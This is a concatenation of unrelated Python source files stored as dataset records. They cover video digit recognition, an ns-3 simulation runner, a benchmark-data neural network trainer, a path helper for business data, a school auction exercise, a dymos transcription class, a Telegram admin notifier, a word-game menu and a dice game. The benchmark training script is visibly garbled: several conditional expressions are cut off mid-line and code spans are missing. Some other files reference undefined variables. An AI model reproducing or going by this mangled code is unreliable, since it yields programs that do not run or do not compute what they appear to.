and len(vec_uzete_tackeODUZMI) >= 2):\n if (vec_oduzeti[len(vec_oduzeti) - 2] == vec_oduzeti[len(vec_oduzeti) - 1]):\n if (distance2D(vec_uzete_tackeODUZMI[len(vec_uzete_tackeODUZMI) - 2],\n vec_uzete_tackeODUZMI[len(vec_uzete_tackeODUZMI) - 1]) <= 3.5):\n\n print('-')\n else:\n sumaOduzetih += rezultat[i]\n else:\n sumaOduzetih += rezultat[i]\n i = i + 1\n\n return sumaOduzetih\n\n\n\nf = open('out.txt', 'a')\nf.write('RA 184/2015 Jovana Ristovic\\n')\nf.write('file sum')\nf.close()\n\nif os.path.isfile(\"model.h5\"):\n\n print(\"File exists!\")\n fileExists=True\n json_file = open('model.json', 'r')\n loaded_model_json = json_file.read()\n json_file.close()\n model=model_from_json(loaded_model_json)\n model.load_weights(\"model.h5\")\n print(\"Loaded model from disk\")\nelse:\n print(\"File does not exist!\")\n fileExists=False\n model=neuronska()\n\nfor p in range(0, 10):\n NameofVideo = 'video-' + str(p)\n cap = cv2.VideoCapture('videos/' + NameofVideo + '.avi')\n\n suma = 0\n sumaSabranih = 0\n sumaOduzetih = 0\n\n vec_uzete_tackeSABIRAJ = []\n vec_uzete_tackeODUZMI = []\n\n vec_sabrani = []\n vec_oduzeti = []\n\n while True:\n\n ret, frame = cap.read()\n\n if not ret == False:\n\n plusLine = detectLineHoughBlue(frame)\n\n minusLine= detectLineHoughGreen(frame)\n\n contours_numbers = detectNumbers(frame)\n\n image_orig, sorted_regionsPlava, sorted_regionsZelena, selectRoiX, selectRoiY, tacke_arrayPlava, tacke_arrayZelena = select_roi(frame, contours_numbers, plusLine, minusLine)\n\n\n if (len(sorted_regionsPlava) > 0):\n sumaSabranih = sabiranje(model, sorted_regionsPlava, tacke_arrayPlava, sumaSabranih, vec_uzete_tackeSABIRAJ, vec_sabrani)\n\n if (len(sorted_regionsZelena) > 0):\n\n sumaOduzetih = oduzimanje(model,sorted_regionsZelena,tacke_arrayZelena, sumaOduzetih, vec_uzete_tackeODUZMI, vec_oduzeti)\n\n suma = sumaSabranih - sumaOduzetih\n print(suma)\n # cv2.imshow('dc', frame)\n\n\n\n if cv2.waitKey(30) & 0xFF == ord('q'):\n break\n\n else:\n break\n\n cap.release()\n cv2.destroyAllWindows()\n\n f = open('out.txt', 'a')\n f.write('\\n' + NameofVideo + '.avi' + '\\t' + str(suma))\n f.close()\n\n","sub_path":"project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":4119,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"508778375","text":"\"\"\"Runs simulations. \"\"\"\n\nimport json\nimport logging\nimport logging.handlers\nimport multiprocessing\nimport os\nfrom os import path\nimport subprocess\nimport time\nimport traceback\n\n\n# Path to the ns-3 top-level directory.\n# Warning: If you move this file from the directory \"unfair/model\", then you\n# must update this variable.\nNS3_DIR = path.join(path.dirname(path.realpath(__file__)), \"..\", \"ns-3-unfair\")\n# The name of the ns-3 application to run.\nAPP = \"dumbbell\"\n# Used to synchronize writing to the error log.\nLOCK = multiprocessing.Lock()\n# Name of the error log file.\nERR_FLN = \"failed.json\"\n# Name of the logger for this module.\nLOGGER = path.basename(__file__).split(\".\")[0]\n\n\ndef check_output(cnf, logger):\n \"\"\" Runs a configuration and returns its output. \"\"\"\n args = ([path.join(NS3_DIR, \"build\", \"scratch\", APP),] +\n [f\"--{arg}={val}\" for arg, val in cnf.items()])\n cmd = f\"LD_LIBRARY_PATH={os.environ['LD_LIBRARY_PATH']} {' '.join(args)}\"\n log = logging.getLogger(logger)\n log.info(\"Running: %s\", cmd)\n try:\n res = subprocess.check_output(\n args, stderr=subprocess.STDOUT, env=os.environ).decode().split(\"\\n\")\n except subprocess.CalledProcessError:\n traceback.print_exc()\n log.exception(\"Exception while running:\\n%s\\n\\n\", cmd)\n # Only one worker should access the error log at a time.\n LOCK.acquire()\n err_flp = path.join(cnf[\"out_dir\"], ERR_FLN)\n # If the error log already exists, then read the existing log and append\n # to it. Otherwise, start a new log.\n if path.exists(err_flp):\n with open(err_flp, \"r\") as fil:\n err_log = json.load(fil)\n else:\n err_log = []\n # Record the full command (including LD_LIBRARY_PATH) in the error log\n # for ease of debugging. Do not do \"cnf['cmd'] = ...\" to maintain the\n # invariant that cnf contains only command line arguments.\n err_log.append(dict(cnf, cmd=cmd))\n with open(err_flp, \"w\") as fil:\n json.dump(err_log, fil, indent=4)\n LOCK.release()\n # The output is empty.\n res = []\n return res\n\n\ndef run(cnf, res_fnc, logger):\n \"\"\"\n Runs a configuration. If res_fnc is not None, then returns the result of\n parsing the configuration's output using res_fnc, otherwise returns None.\n \"\"\"\n # Build the arguments array, run the simulation, and iterate over each line\n # in its output.\n out = check_output(cnf, logger)\n if res_fnc is None:\n return None\n return res_fnc(out)\n\n\ndef sim(eid, cnfs, out_dir, res_fnc=None, log_par=None, log_dst=None,\n dry_run=False, sync=False):\n \"\"\"\n Simulates a set of configurations. Returns a list of pairs of the form:\n (configuration, result)\n \"\"\"\n # Set up logging.\n logger = LOGGER if log_par is None else f\"{log_par}.{LOGGER}\"\n log = logging.getLogger(logger)\n if log_dst is not None:\n # Create email logger.\n # TODO: Create an email logger only if an SMTP server is running on the\n # local machine.\n hdl = logging.handlers.SMTPHandler(\n mailhost=\"localhost\",\n fromaddr=f\"{os.getlogin()}@maas.cmcl.cs.cmu.edu\",\n toaddrs=log_dst,\n subject=f\"[{logger}] {eid}\")\n hdl.setLevel(\"ERROR\")\n log.addHandler(hdl)\n\n # Compile ns-3.\n log.info(\"ns-3 dir: %s\", NS3_DIR)\n subprocess.check_call([\"./waf\"], cwd=NS3_DIR)\n # Since we are running the application binary directly, we need to make sure\n # the ns-3 library can be found.\n os.environ[\"LD_LIBRARY_PATH\"] = (\n f\"/usr/lib/gcc/x86_64-linux-gnu/7:{path.join(NS3_DIR, 'build', 'lib')}:\"\n \"/opt/libtorch/lib\")\n\n # Record the configurations.\n with open(path.join(out_dir, \"configurations.json\"), \"w\") as fil:\n json.dump(cnfs, fil, indent=4)\n\n # Simulate the configurations.\n log.info(\"Num simulations: %s\", len(cnfs))\n if dry_run:\n return []\n tim_srt_s = time.time()\n if sync:\n data = [run(cnf, res_fnc, logger) for cnf in cnfs]\n else:\n with multiprocessing.Pool() as pool:\n data = pool.starmap(run, ((cnf, res_fnc, logger) for cnf in cnfs))\n log.critical(\n \"Done with simulations - time: %.2f seconds\", time.time() - tim_srt_s)\n return list(zip(cnfs, data))\n","sub_path":"model/sim.py","file_name":"sim.py","file_ext":"py","file_size_in_byte":4378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"301165913","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n# External imports\nimport sys\n\nif sys.version_info[0] < 3:\n raise Exception(\"Must be using Python 3\")\n\nimport numpy as np\nf=[]\ng=open('502.gcc.txt','r')\nf.append(g)\ng=open('549.fotonik3d.txt','r')\nf.append(g)\ng=open('548.exchange2.txt','r')\nf.append(g)\ng=open('538.imagick.txt','r')\nf.append(g)\ng=open('531.deepsjeng.txt','r')\nf.append(g)\ng=open('527.cam4.txt','r')\nf.append(g)\ng=open('525.x264.txt','r')\nf.append(g)\ng=open('523.xalancbmk.txt','r')\nf.append(g)\ng=open('521.wrf.txt','r')\nf.append(g)\ng=open('519.lbm.txt','r')\nf.append(g)\ng=open('511.povray.txt','r')\nf.append(g)\ng=open('510.parest.txt','r')\nf.append(g)\ng=open('508.namd.txt','r')\nf.append(g)\ng=open('505.mcf.txt','r')\nf.append(g)\ng=open('503.bwaves.txt','r')\nf.append(g)\ng=open('500.perlbench.txt','r')\nf.append(g)\n\nimport pandas as pd\npr=[]\nfor i in range(16):\n g=pd.read_table(f[i],sep=' ',header=None,names=[0,1,2,3,4,5,6,7,8,9,10,11,12],lineterminator='\\n')\n pr.append(g)\n\npr1=[]\nfor i in range (16):\n pr1.append([])\n for j in range (12):\n pr1[i].append([])\n for k in range (12):\n pr1[i][j].append([])\n for l in range (4):\n pr1[i][j][k].append([])\nfor i in range (16):\n for j in range (12):\n for k in range (12):\n for l in range (4):\n pr1[i][j][k][l]=0\n\nfor i in range (16):\n for j in range (12):\n for k in range (12):\n if (type(pr[i][j][k])==str):\n for l in range (4):\n pr1[i][j][k][l]=float(pr[i][j][k].split(\":\")[l])\n\ndef Func(Tc,Tc0,Te,Te0,V,V0):\n x=(Tc/Tc0)+5*(Te/Te0)+(V/V0)\n return x\n\nstart=[]\nnum=[]\nfor j in range (16) :\n start.append(Func(pr1[j][1][0][1],pr1[j][0][0][1],pr1[j][1][0][2],pr1[j][0][0][2],pr1[j][1][0][3],pr1[j][0][0][3]))\n num.append(0)\nprint(start)\n\nfor l in range (16) :\n for i in range (12):\n for j in range (12):\n if (pr1[l][j][i][1]!=0)&(pr1[l][j][i][2]!=0)&(pr1[l][j][i][3]!=0):\n if (Func(pr1[l][j][i][1],pr1[l][0][i][1],pr1[l][j][i][2],pr1[l][0][i][2],pr1[l][j][i][3],pr1[l][0][i][3])7):\n k1=(d[k][0][1]-d[k][1][1])/(d[k][0][0]-d[k][1][0])\n k2=d[k][0][1]-k1*d[k][0][0]\n x=(7-k2)/k1\n if (x7):\n k1=(d[k][i+1][1]-d[k][i+2][1])/(d[k][i+1][0]-d[k][i+2][0])\n k2=d[k][i+1][1]-k1*d[k][i+1][0]\n x=(7-k2)/k1\n if (x7):\n k1=(d[k][i+1][1]-d[k][i][1])/(d[k][i+1][0]-d[k][i][0])\n k2=d[k][i+1][1]-k1*d[k][i+1][0]\n x=(7-k2)/k1\n if (x>d[k][i+1][0]-h):\n a[k].append(x)\n else :\n a[k].append(d[k][i+1][0]-h) \n else :\n a[k].append(d[k][i+1][0]-h) \n \n if (d[k][len(d[k])-1][1]<7):\n b[k].append(d[k][len(d[k])-1][0]+h)\n if (d[k][len(d[k])-2][1]>7):\n k1=(d[k][len(d[k])-1][1]-d[k][len(d[k])-2][1])/(d[k][len(d[k])-1][0]-d[k][len(d[k])-2][0])\n k2=d[k][len(d[k])-1][1]-k1*d[k][len(d[k])-1][0]\n x=(7-k2)/k1\n if (x>d[k][len(d[k])-1][0]-h):\n a[k].append(x)\n else :\n a[k].append(d[k][len(d[k])-1][0]-h) \n else :\n a[k].append(d[k][len(d[k])-1][0]-h) \n\nlev=[]\nprav=[]\nfor k in range (16):\n lev.append([])\n prav.append([])\nfor k in range (16): \n if (len(a[k])>0):\n lev[k].append(a[k][0])\n for i in range (len(a[k])-1):\n if (b[k][i]=lev[k][j])&(aut[l+1]<=prav[k][j]):\n tmp.append(aut[l])\n tmp.append(aut[l+1])\n if tmp in otr:\n zad[m-1].append(k)\n else:\n zad.append([])\n otr.append(tmp)\n zad[m].append(k)\n m+=1\n\np=np.zeros(16)\nfor i in range (16):\n for j in range (len(zad)):\n if i in zad[j]:\n p[i]+=(otr[j][1]-otr[j][0])\n\ntrain_X=[]\ntrain_Y=[]\nm=0\ns=0\nfor i in range (16):\n for j in range (len(pr3[i])):\n if (pr3[i][j][0]!=0):\n m=0\n vect=[]\n for k in range (len(otr)): \n vect.append(0)\n for k in range (len(otr)):\n if i in zad[k]:\n vect[k]=(otr[k][1]-otr[k][0])/p[i]\n for k in range (len(vect)):\n if vect[k]==0:\n m+=1\n if (m!=len(vect)):\n train_Y.append(vect)\n train_X.append(pr3[i][j])\n\nfor i in range (len(train_X)):\n train_X[i]=np.array(train_X[i])\n train_Y[i]=np.array(train_Y[i])\n\nreal_X=[]\nreal_Y=[]\nindex=[]\nfor i in range (len(train_X)):\n index.append(i)\nindex=np.array(index)\nnp.random.shuffle(index)\nfor i in range (len(train_X)):\n real_X.append(train_X[index[i]])\n real_Y.append(train_Y[index[i]])\n\ntrain_X2=[]\ntrain_Y2=[]\ntest_X2=[]\ntest_Y2=[]\nfor i in range (len(real_X)-1500):\n train_X2.append(real_X[i])\n train_Y2.append(real_Y[i])\nfor i in range (1500):\n test_X2.append(real_X[i+len(real_X)-1500])\n test_Y2.append(real_Y[i+len(real_X)-1500])\n\ntrain_X2=np.array(train_X2)\ntrain_Y2=np.array(train_Y2)\ntest_X2=np.array(test_X2)\ntest_Y2=np.array(test_Y2)\nprint(train_X2.shape,train_Y2.shape,test_X2.shape,test_Y2.shape)\n\nimport tensorflow as tf\nfrom tensorflow import keras\nmodel = keras.Sequential([keras.layers.Flatten(input_shape=(49,)),\n keras.layers.Dense(40, activation=tf.nn.relu),\n keras.layers.Dense(39, activation=tf.nn.softmax)])\nmodel.compile(optimizer=tf.train.GradientDescentOptimizer(learning_rate=0.05),loss='categorical_crossentropy',metrics=['categorical_accuracy'])\nmodel.fit(train_X2, train_Y2, epochs=100)\ntest_loss, test_acc = model.evaluate(test_X2, test_Y2)\nprint('Test accuracy:', test_acc)\n\npredictions=model.predict(test_X2)\nprint(predictions[1330])\nprint(test_Y2[1330])\nprint(predictions[1499])","sub_path":"train/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"152502568","text":"\"\"\" Larz60+ Aug-02-2018, 08:29 AM\n\"\"\"\n\n\n# Code files found here:\nfrom pathlib import Path\nimport os\nimport inspect\n\n\nclass BizPaths:\n def __init__(self):\n os.chdir(os.path.dirname(__file__))\n\n self.homepath = Path(\".\")\n self.rootpath = self.homepath / \"..\"\n\n self.datapath = self.rootpath / \"data\"\n self.datapath.mkdir(exist_ok=True)\n\n self.dbpath = self.datapath / \"database\"\n self.dbpath.mkdir(exist_ok=True)\n\n self.jsonpath = self.datapath / \"json\"\n self.jsonpath.mkdir(exist_ok=True)\n\n self.rawdatapath = self.datapath / \"RawData\"\n self.rawdatapath.mkdir(exist_ok=True)\n\n self.countrypath = self.rawdatapath / \"Country\"\n self.countrypath.mkdir(exist_ok=True)\n\n self.usapath = self.countrypath / \"USA\"\n self.usapath.mkdir(exist_ok=True)\n\n self.Countries = {\n \"USA\": {\n \"Alaska\": self.usapath / \"Alaska\",\n \"Alabama\": self.usapath / \"Alabama\",\n \"Arkansas\": self.usapath / \"Arkansas\",\n \"AmericanSamoa\": self.usapath / \"AmericanSamoa\",\n \"Arizona\": self.usapath / \"Arizona\",\n \"California\": self.usapath / \"California\",\n \"Colorado\": self.usapath / \"Colorado\",\n \"Connecticut\": self.usapath / \"Connecticut\",\n \"WashingtonDC\": self.usapath / \"WashingtonDC\",\n \"Delaware\": self.usapath / \"Delaware\",\n \"Florida\": self.usapath / \"Florida\",\n \"FederatedStatesOfMicronesia\": self.usapath\n / \"FederatedStatesOfMicronesia\",\n \"Georgia\": self.usapath / \"Georgia\",\n \"Guam\": self.usapath / \"Guam\",\n \"Hawaii\": self.usapath / \"Hawaii\",\n \"Iowa\": self.usapath / \"Iowa\",\n \"Idaho\": self.usapath / \"Idaho\",\n \"Illinois\": self.usapath / \"Illinois\",\n \"Indiana\": self.usapath / \"Indiana\",\n \"Kansas\": self.usapath / \"Kansas\",\n \"Kentucky\": self.usapath / \"Kentucky\",\n \"Louisiana\": self.usapath / \"Louisiana\",\n \"Massachusetts\": self.usapath / \"Massachusetts\",\n \"Maryland\": self.usapath / \"Maryland\",\n \"Maine\": self.usapath / \"Maine\",\n \"MarshallIslands\": self.usapath / \"MarshallIslands\",\n \"Michigan\": self.usapath / \"Michigan\",\n \"Minnesota\": self.usapath / \"Minnesota\",\n \"Missouri\": self.usapath / \"Missouri\",\n \"Mississippi\": self.usapath / \"Mississippi\",\n \"Montana\": self.usapath / \"Montana\",\n \"NorthCarolina\": self.usapath / \"NorthCarolina\",\n \"NorthDakota\": self.usapath / \"NorthDakota\",\n \"NorthernMarianaIslands\": self.usapath / \"NorthernMarianaIslands\",\n \"Nebraska\": self.usapath / \"Nebraska\",\n \"NewHampshire\": self.usapath / \"NewHampshire\",\n \"NewJersey\": self.usapath / \"NewJersey\",\n \"NewMexico\": self.usapath / \"NewMexico\",\n \"Nevada\": self.usapath / \"Nevada\",\n \"NewYork\": self.usapath / \"NewYork\",\n \"Ohio\": self.usapath / \"Ohio\",\n \"Oklahoma\": self.usapath / \"Oklahoma\",\n \"Oregon\": self.usapath / \"Oregon\",\n \"Pennsylvania\": self.usapath / \"Pennsylvania\",\n \"PuertoRico\": self.usapath / \"PuertoRico\",\n \"Palau\": self.usapath / \"Palau\",\n \"RhodeIsland\": self.usapath / \"RhodeIsland\",\n \"SouthCarolina\": self.usapath / \"SouthCarolina\",\n \"SouthDakota\": self.usapath / \"SouthDakota\",\n \"Tennessee\": self.usapath / \"Tennessee\",\n \"Texas\": self.usapath / \"Texas\",\n \"Utah\": self.usapath / \"Utah\",\n \"Virginia\": self.usapath / \"Virginia\",\n \"VirginIslands\": self.usapath / \"VirginIslands\",\n \"Vermont\": self.usapath / \"Vermont\",\n \"Washington\": self.usapath / \"Washington\",\n \"Wisconsin\": self.usapath / \"Wisconsin\",\n \"WestVirginia\": self.usapath / \"WestVirginia\",\n \"Wyoming\": self.usapath / \"Wyoming\",\n }\n }\n self.create_all_directories(self.Countries)\n\n self.geodatabase = self.dbpath / \"GeoDatabase.db\"\n\n self.Idaho_Boise_html = (\n self.Countries[\"USA\"][\"Idaho\"]\n / \"Boise\"\n / \"https:_www.accessidaho.org_public_sos_corp_search.html\"\n )\n\n self.codepath = self.rawdatapath / \"Codes\"\n self.codepath.mkdir(exist_ok=True)\n\n self.usapath = self.Countries[\"USA\"]\n\n self.us_business_infopath = self.rawdatapath / \"US-BusinessInfo\"\n self.us_business_infopath.mkdir(exist_ok=True)\n\n self.us_business_info_states_html = self.us_business_infopath / \"html\"\n self.us_business_info_states_html.mkdir(exist_ok=True)\n\n self.us_business_info_url = \"http://us-business.info/directory/\"\n\n self.native_american = self.codepath / \"AIAlist.txt\"\n self.national_names = self.codepath / \"NationalFileDomesticNames.txt\"\n self.county = self.codepath / \"RawCountyData.txt\"\n self.county_sub = self.codepath / \"RawCountySub.txt\"\n self.places = self.codepath / \"national_places.txt\"\n self.state_cd = self.codepath / \"national_state_codes.txt\"\n self.school_districts = self.codepath / \"national_schdist.txt\"\n self.voting_districts = self.codepath / \"national_vtd.txt\"\n self.congressional_districts = self.codepath / \"national_cd115.csv\"\n\n self.native_american_json = self.jsonpath / \"NativeAmericanAreas.json\"\n self.national_names_json = self.jsonpath / \"NationalFileDomesticNames.json\"\n self.county_json = self.jsonpath / \"County.json\"\n self.county_sub_json = self.jsonpath / \"CountySub.json\"\n self.place_json = self.jsonpath / \"Place.json\"\n self.state_json = self.jsonpath / \"State.json\"\n self.school_districts_json = self.jsonpath / \"SchoolDistricts.json\"\n self.voting_districts_json = self.jsonpath / \"VotingDistricts.json\"\n self.congressional_districts_json = (\n self.jsonpath / \"CongressionalDistricts.json\"\n )\n\n self.create_all_directories(self.Countries)\n\n def get_us_business_city_url(self, state):\n \"\"\"\n state is 2 character abbreviation\n \"\"\"\n filename = self.us_business_info_states_html / f\"{state}_state.html\"\n url = f\"{self.us_business_info_url}/{state}\"\n return filename, url\n\n def get_us_business_state_city_url(self, city, state):\n \"\"\"\n city is full city name all lowercase\n state is 2 character abbreviation\n \"\"\"\n return f\"{self.us_business_info_url}/{city}-{state}\"\n\n def get_dir_contents(self, path):\n if isinstance(path, Path) and path.exists():\n return [entry for entry in path.iterdir()]\n return None\n\n def create_all_directories(self, path):\n for key, value in path.items():\n if isinstance(value, dict):\n self.create_all_directories(value)\n elif isinstance(value, Path) and not value.is_file():\n value.mkdir(exist_ok=True)\n\n\ndef testit():\n bp = BizPaths()\n Scottsdale = bp.usapath[\"Arizona\"] / \"Scottsdale\"\n\n files = bp.get_dir_contents(Scottsdale)\n\n if files is not None:\n for file in files:\n print(f\"{file}\")\n else:\n print(\"Scottsdale directory is empty\")\n\n\nif __name__ == \"__main__\":\n testit()\n","sub_path":"topics/BizPaths.py","file_name":"BizPaths.py","file_ext":"py","file_size_in_byte":7671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"578940668","text":"#Dinesh Kumar P, IBDP Facilitator, Indus International School#\n#Task 1\nprint(\"******************************Task 1 Begin******************************\\n\")\nno_of_items=int(input(\"Enter the no of items:\\n\"))\n\nwhile no_of_items<10:\n no_of_items=int(input(\"Invalid,Enter the no of items(minimum 10):\\n\"))\n\nitem_number=[0]*no_of_items\ndescription=[None]*no_of_items\nreserve_price=[0]*no_of_items\nbiding=[0]*no_of_items\n\ni=0\nwhile i 1 and index is None:\n raise ValueError('Objective variable is non-scaler {0} but no index specified '\n 'for objective'.format(shape))\n\n idx = 0 if index is None else index\n if idx < 0:\n idx = size + idx\n\n if idx >= size or idx < -size:\n raise ValueError('Objective index={0}, but the shape of the objective '\n 'variable is {1}'.format(index, shape))\n\n if loc == 'final':\n obj_index = -size + idx\n elif loc == 'initial':\n obj_index = idx\n else:\n raise ValueError('Invalid value for objective loc: {0}. Must be '\n 'one of \\'initial\\' or \\'final\\'.'.format(loc))\n\n from ..phase import Phase\n super(Phase, phase).add_objective(obj_path, ref=options['ref'], ref0=options['ref0'],\n index=obj_index, adder=options['adder'],\n scaler=options['scaler'],\n parallel_deriv_color=options['parallel_deriv_color'],\n vectorize_derivs=options['vectorize_derivs'])\n\n def _get_boundary_constraint_src(self, name, loc, phase):\n raise NotImplementedError('Transcription {0} does not implement method'\n '_get_boundary_constraint_source.'.format(self.__class__.__name__))\n\n def _get_rate_source_path(self, name, loc, phase):\n raise NotImplementedError('Transcription {0} does not implement method'\n '_get_rate_source_path.'.format(self.__class__.__name__))\n\n def get_parameter_connections(self, name, phase):\n \"\"\"\n Returns info about a parameter's target connections in the phase.\n\n Parameters\n ----------\n name : str\n The name of the parameter for which connection information is desired.\n phase : dymos.Phase\n The phase object to which this transcription applies.\n\n Returns\n -------\n list of (paths, indices)\n A list containing a tuple of target paths and corresponding src_indices to which the\n given design variable is to be connected.\n \"\"\"\n raise NotImplementedError('Transcription {0} does not implement method '\n 'get_parameter_connections.'.format(self.__class__.__name__))\n\n def is_static_ode_output(self, var, phase, num_nodes):\n \"\"\"\n Test whether the given output is a static output of the ODE.\n\n A variable is considered static if it's first dimension is different than the\n number of nodes in the ODE.\n\n Parameters\n ----------\n var : str\n The ode-relative path of the variable of interest.\n phase : dymos.Phase\n The phase to which this transcription applies.\n num_nodes : int\n The number of nodes in the ODE.\n\n Returns\n -------\n bool\n True if the given variable is a static output, otherwise False if it is dynamic.\n\n Raises\n ------\n KeyError\n KeyError is raised if the given variable isn't present in the ode outputs.\n \"\"\"\n ode = phase._get_subsystem(self._rhs_source)\n ode_outputs = {opts['prom_name']: opts for (k, opts) in\n ode.get_io_metadata(iotypes=('output',), get_remote=True).items()}\n ode_shape = ode_outputs[var]['shape']\n return ode_shape[0] != num_nodes\n","sub_path":"dymos/transcriptions/transcription_base.py","file_name":"transcription_base.py","file_ext":"py","file_size_in_byte":42884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"647628225","text":"def call_admins(msg,bot,chat_id,msg_id):\n\tademirs = bot.getChatAdministrators(chat_id)\n\tnum = 0\n\ttry:\n\t\tmessage_id = msg['reply_to_message']['message_id']\n\texcept:\n\t\tmessage_id = msg_id\n\ttry:\n\t\tmsg_url = '*•* [Ir para a mensagem](https://t.me/' + msg['chat']['username'] + '/' + str(message_id)\n\texcept:\n\t\tmsg_url = ''\n\tsent = bot.sendMessage(\n\t\tchat_id=chat_id,\n\t\ttext='Aguarde enquanto eu notifico os admins...',\n\t\tparse_mode='Markdown',\n\t\treply_to_message_id=msg_id\n\t)\n\tfor status in ademirs:\n\t\tadm_id = status['user']['id']\n\t\ttry:\n\t\t\tif 'reply_to_message' in msg:\n\t\t\t\tbot.forwardMessage(\n\t\t\t\t\tchat_id=adm_id,\n\t\t\t\t\tfrom_chat_id=chat_id,\n\t\t\t\t\tmessage_id=message_id\n\t\t\t\t)\n\t\t\tbot.sendMessage(\n\t\t\t\tchat_id=adm_id,\n\t\t\t\ttext='''\n*Mensagem de administração:*\n\t\t\n*• Mensagem relatada por:* {} ({})\n*• Grupo:* {}\n{}'''.format(\n\t\t\t\t\tmsg['from']['first_name'],\n\t\t\t\t\tmsg['from']['id'],\n\t\t\t\t\tmsg['chat']['title'],\n\t\t\t\t\tmsg_url\n\t\t\t\t),\n\t\t\t\tparse_mode='Markdown'\n\t\t\t)\n\t\t\tnum += 1\n\t\texcept:\n\t\t\tpass\n\tbot.editMessageText(\n\t\t(chat_id,sent['message_id']),\n\t\ttext='*Eu notifiquei com sucesso {} admins!*'.format(\n\t\t\tnum\n\t\t),\n\t\tparse_mode='Markdown'\n\t)","sub_path":"plugins/admins.py","file_name":"admins.py","file_ext":"py","file_size_in_byte":1141,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"436260519","text":"import modules\n\n\ndef main():\n # arquivo = open('words.txt')\n\n menu = '##### WordPplay #####\\n' \\\n + '1 - Palavras com + de 20 letras\\n' \\\n + '2 - Palavras sem alguma letra\\n' \\\n + '3 - Palavras sem várias letras\\n' \\\n + '4 - Palavras somente com as letras da lista\\n' \\\n + '5 - Palavras com todas as letras da lista\\n' \\\n + '6 - Palavras com letras em ordem alfabética\\n' \\\n + '0 - Sair\\n' \\\n + '\\nDigite uma opção: '\n\n opcao = int(input(menu))\n\n while opcao != 0:\n if opcao == 1:\n arquivo = open('words.txt')\n \n modules.palavras_maior_que_vinte(arquivo)\n \n elif opcao == 2:\n arquivo = open('words.txt')\n\n letra = input('Eu quero as palavras que não tenham a letra: ')\n modules.has_no_letter(arquivo, letra)\n \n elif opcao == 3:\n arquivo = open('words.txt')\n\n letras = input('Palavras sem as letras: ')\n modules.avoids(arquivo, letras)\n \n elif opcao == 4:\n arquivo = open('words.txt')\n modules.uses_only(palavra, letras)\n \n elif opcao == 5:\n arquivo = open('words.txt')\n modules.uses_all(palavra, letras)\n \n else:\n print('Opção inválida!')\n \n print()\n input('continuar ...')\n opcao = int(input(menu))\n\n print('Fim Word Play')\n\n\nmain()","sub_path":"Python/Pense_Python_Cap09/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"103602413","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Apr 4 12:13:02 2019\n\n@author: zkolev\n\"\"\"\n\nimport numpy as np\nimport random\nfrom itertools import product \n\n## Define the state space: \n\n## After each roll we can either throw or not throw the dice\n## For five dices there are 5**2 = 32 total actions that can be performed \n## The terminal state for round is the subscribe part where \n## The player must choose which position to subscribe \n\n## Define function that will yueld the available action space as \n## list of tuples.\n\ndef get_action_set(position_names):\n all_actions_set = []\n for d1 in range(6):\n for d2 in range(6):\n for d3 in range(6):\n for d4 in range(6):\n for d5 in range(6):\n for d6 in range(6):\n a = (d1,d2,d3,d4,d5,d6)\n if sum(a) <5:\n all_actions_set.append(('Roll', a))\n \n for i in position_names:\n all_actions_set.append(('Checkout', i))\n \n return(all_actions_set)\n \n\n## General game class:\n## Start general in \n\n\nclass GeneralGame():\n def __init__(self,improvement_reward = 0.5, invalid_action_penalty = -100):\n \n self.improvement_reward = improvement_reward ## the reward the agent gets if after roll imrpoves the potential reward \n self.invalid_action_penalty = invalid_action_penalty \n \n ## Game Controls:\n self.game_over = False\n \n ## Score and reward \n ## The reward is the points introduced to the learning algorithm\n ## The score is the actual results that environment achieves \n \n self.final_score = np.int32(0)\n self.last_score = np.int32(0)\n self.max_potential_score = 0\n \n self.dices = [Dice() for i in range(5)] ## Init Dices: \n self.dices_agg = np.zeros(6,dtype = int)\n \n self.positions = [MandatoryPosition(1, 'One', True)\n \t\t\t\t\t\t ,MandatoryPosition(2, 'Two', True)\n ,MandatoryPosition(3, 'Three', True)\n ,MandatoryPosition(4, 'Four', True)\n ,MandatoryPosition(5, 'Five', True)\n ,MandatoryPosition(6, 'Six', True)\n ]\n \n self.position_names = [p.get_position_name() for p in self.positions]\n \n ## Game controls \n self.remaining_rolls = 3\n self.round = 0\n self.game_state = tuple(np.hstack((self.remaining_rolls, self.dices_agg, [int(position.get_checkout_state()[1]) for position in self.positions])))\n \n ## All actions:\n self.all_actions = get_action_set(position_names=self.position_names)\n\n\n ## This function prints the face of all dices\n ## It is not used in the actual game \n ## it is for debugging only \n def print_dice(self):\n all_dice_values = [i.get_dice_value() for i in self.dices] \n print('----------')\n print(*all_dice_values , sep = '|' )\n print('----------') \n \n \n ## Reset the state of the game \n def reset(self):\n \n self.game_over = False\n\t\t\n # The final score updates only after checkout \n # It represents the score from the scoreboard \n self.final_score = np.int32(0) \n \n ## The last score is the running reward of the episode\n self.last_score = np.int32(0)\n self.max_potential_score = 0\n \n # Reset dices\n for i in self.dices:\n i.reset()\n \n self.dices_agg = np.zeros(6,dtype = int)\n \n ## Reset the initial state of the positions\n for pos in self.positions:\n pos.reset_position()\n \n \n ## Game controls \n self.remaining_rolls = 3\n self.round = 0\n self.game_state = tuple(np.hstack((self.remaining_rolls, self.dices_agg, [int(position.get_checkout_state()[1]) for position in self.positions])))\n \n\n \n def update_game_state(self):\n \n ## Returns tuple with the state \n \n self.game_state = tuple(np.hstack((self.remaining_rolls, self.dices_agg, [int(position.get_checkout_state()[1]) for position in self.positions])))\n \n \n def print_game_state(self):\n \n ## This separates the different elements of the game state with '|' \n ## the first section is the remaining rolls \n ## the second section is the dice roll \n ## the third section is the checked positions: \n \n game_state_print = list(self.game_state)\n \n for i in [1,8]:\n game_state_print.insert(i, '|')\n \n print(game_state_print)\n\n \n def 